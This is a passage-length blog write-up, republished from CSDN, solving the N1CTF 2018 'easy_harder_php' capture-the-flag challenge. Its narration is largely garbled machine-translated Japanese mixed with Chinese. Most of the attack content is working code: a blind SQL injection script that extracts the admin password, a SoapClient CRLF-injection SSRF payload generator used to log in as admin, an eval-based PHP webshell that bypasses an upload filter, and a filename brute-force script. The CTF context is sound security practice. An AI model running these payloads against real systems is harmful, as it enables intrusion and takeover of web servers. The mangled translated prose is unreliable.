【N1CTF 2018] easy_harder_php soap_ssrf

0x01のトピックはじめに

ソースコードのディレクトリを取得スキャン
ここに画像を挿入説明

    function publish()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
        {
                if(isset($_FILES['pic'])) {
                    if (upload($_FILES['pic'])){
                        echo 'upload ok!';
                        return true;
                    }
                    else {
                        echo "upload file error";
                        return false;
                    }
                }
                else
                    return false;
        }

    }

私たちは、ログインが管理者パスワードを取得するために注入点を見つけるよう、機能をアップロードする必要があります管理しなければならない
ここに画像を挿入説明、我々はからアカウントのパスワードを取得するためにここに注入して、何のフィルタがデータベースに挿入されていない$ _POST [「署名」]を
ここに画像を挿入説明すべてここに反引号変換された单引号ので、私達の

ペイロード:

# encoding=utf-8


import  requests
import string
import time

url = 'http://03676d01-b591-4767-84ca-f49d98ea50a8.node3.buuoj.cn/index.php?action=publish'
cookies = {"PHPSESSID": "e949kgjjg7nm1k70ohatg52ac6"}
data = {
	"signature": "",
	"mood": 0
}
table = string.digits + string.lowercase + string.uppercase


def post():
        password = ""
        for i in range(1, 33):
                for j in table:
                    signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j))			    #这儿的0x61646d696e是admin的十六进制,当然用`admin`代替也可以
                    data["signature"] = signature
			#print(data)
                    try:
                            re = requests.post(url, cookies = cookies, data = data, timeout = 3)
            #print(re.text)
                    except:
                        password += j
                        print(password)
                        break
        print(password)

def main():
	post()

if __name__ == '__main__':
	main()

パスワードのMD5コードを取得注入し、復号化された
ここに画像を挿入説明アカウントのパスワードはadmin、nu1ladminです

彼は127.0.0.1で記号でなければならない制限するので、しかし、我々は、このログインを使用することはできません
ここに画像を挿入説明我々は管理者をログに記録するSSRF見つけなければならないので、
ここに画像を挿入説明
ここではデシリアライズされ、および$row[2]データmood注入の上を参照してください、私たちのコントロール~~

私たちができるようmoodに順番に挿入しsoapたクラス、そしてssrf、ここでの処理についての簡単な話では、理解容易にするためです

まず、我々は中に、2つのブラウザ、各ページに1つずつ、最初にログインしていない、我々はあなたのアカウントに別の非管理ログを登録するために使用のいずれかを開き、publishページの挿入配列soapクラス。
ここでは、構成コード石鹸を与えられました

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=jRl3';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=e6d3o0c1bh2a119fh01etdi000'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

这儿需要注意两个地方,第一个地方是$post_string中的code参数和PHPSESSID必须和我们另外一个浏览器准备用来登录的admin相对应~~
ここに画像を挿入説明然后注入即可
ここに画像を挿入説明这个时候还不能刷新另外一个浏览器,因为此时我们只是把数据放在了数据库中,我们还没有触发,我们必须用我们自己的账号刷新一下?action=index的页面,才能触发~~
ここに画像を挿入説明此时我们再刷新一下用来登录admin的浏览器就可以登录上了~~
我们之所以反序列化soap类后能登录admin,是因为

$mood = unserialize($row[2]);
$country = $mood->getcountry();

我们知道此时$mood就是一个soap类,所以这个类没有getcountry()方法,此时就会触发soap类的__call()魔法函数就能实现登录了~~

然后我们就能看到上传文件的页面了~~

if(move_uploaded_file($uploaded_file,$move_to_file)) {
            if(stripos(file_get_contents($move_to_file),'<?php')>=0)
                system('sh /home/nu1lctf/clean_danger.sh');
            return $file_true_name;
        }
  • 首先是只能上传图片,而且上传的文件不能有<?php, 这儿可以用<?=<script language='php'>代替
  • 但是最后会执行一段sh命令,我们可以问价包含看看sh文件的内容
    -ここに画像を挿入説明
    这儿就需要用到linux的一个小trick了,当我们的文件名是以-开头时这个命令会报错~~
    ここに画像を挿入説明所以我们的思路就是上传一个以-开头的图片码,然后再爆破出上传的文件名~~
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';

我们最主要的是获取time()的值,我们可以在上传的瞬间马上点击上传,虽然有一两秒的误差,但是并不影响~~

<?php
date_default_timezone_set("PRC");  ###一定要注意设置这个时区
echo time();
?>

最后我们再写一个脚本爆破一下~~

# -*- coding:utf-8 -*-

import requests
time = 158002449200				#我们上传的time()为1580024492,之所以加两位是后面的rand(1,100),而且我们从0到9999累加,就可以计算出我们的计算时间和上传时间的误差了~~	
url = 'http://c2cae93a-2024-48c4-a4d9-7c6f71d20bcd.node3.buuoj.cn/index.php?action=../../../../app/adminpic/-xx{}.jpg'
for i in range(10000):
    tmp = time + i
    ul = url.format(tmp)
    html = requests.get(ul).status_code
    print(i)    
    if html == 200:
        print(ul)   
        break

这儿说明一下我上传的图片马~

<script language="php"> 
$_POST["xxx"]=str_replace("[","'",$_POST["xxx"]);
$_POST["xxx"]=str_replace("]","'",$_POST["xxx"]);
echo $_POST["xxx"];
eval($_POST["xxx"]);
 </script>

由于题目过了了我们的输入所以,没办法使用引号和单引号,我们用"[",和"]"代替,这样就不会被过滤掉了~

function addsla_all()
{
    if (!get_magic_quotes_gpc())
    {
        if (!empty($_GET))
        {
            $_GET  = addslashes_deep($_GET);
        }
        if (!empty($_POST))
        {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE   = addslashes_deep($_COOKIE);
        $_REQUEST  = addslashes_deep($_REQUEST);
    }
}
addsla_all();

ここに画像を挿入説明






这道题目还有几个非预期解,但是复现的时候,已经修复好了~~

但是这儿也记录一下~~

1、抜け穴を含むようにリードを回すsession.upload
2、xdebugの

ここに画像を挿入説明X-転送先のアドレス(これは:ricterz.me)場合9000ポート接続要求を受信するには、Xdebugをを決定することができる開かれ、そしてxdebug.remote_connect_backを開きました。

3、を/ tmp /一時ファイルの競争

競争の一時ファイルを使用するには、前提は、ページのphpinfoにアクセスすることが可能です~~



参考リンク:
N1CTF easy_harder_php予想ソリューション
N1CTF easy_harder_phpソリューションは、意図しない
公式過去記事を

公開された47元の記事 ウォンの賞賛2 ビュー3115

おすすめ

転載: blog.csdn.net/a3320315/article/details/104088080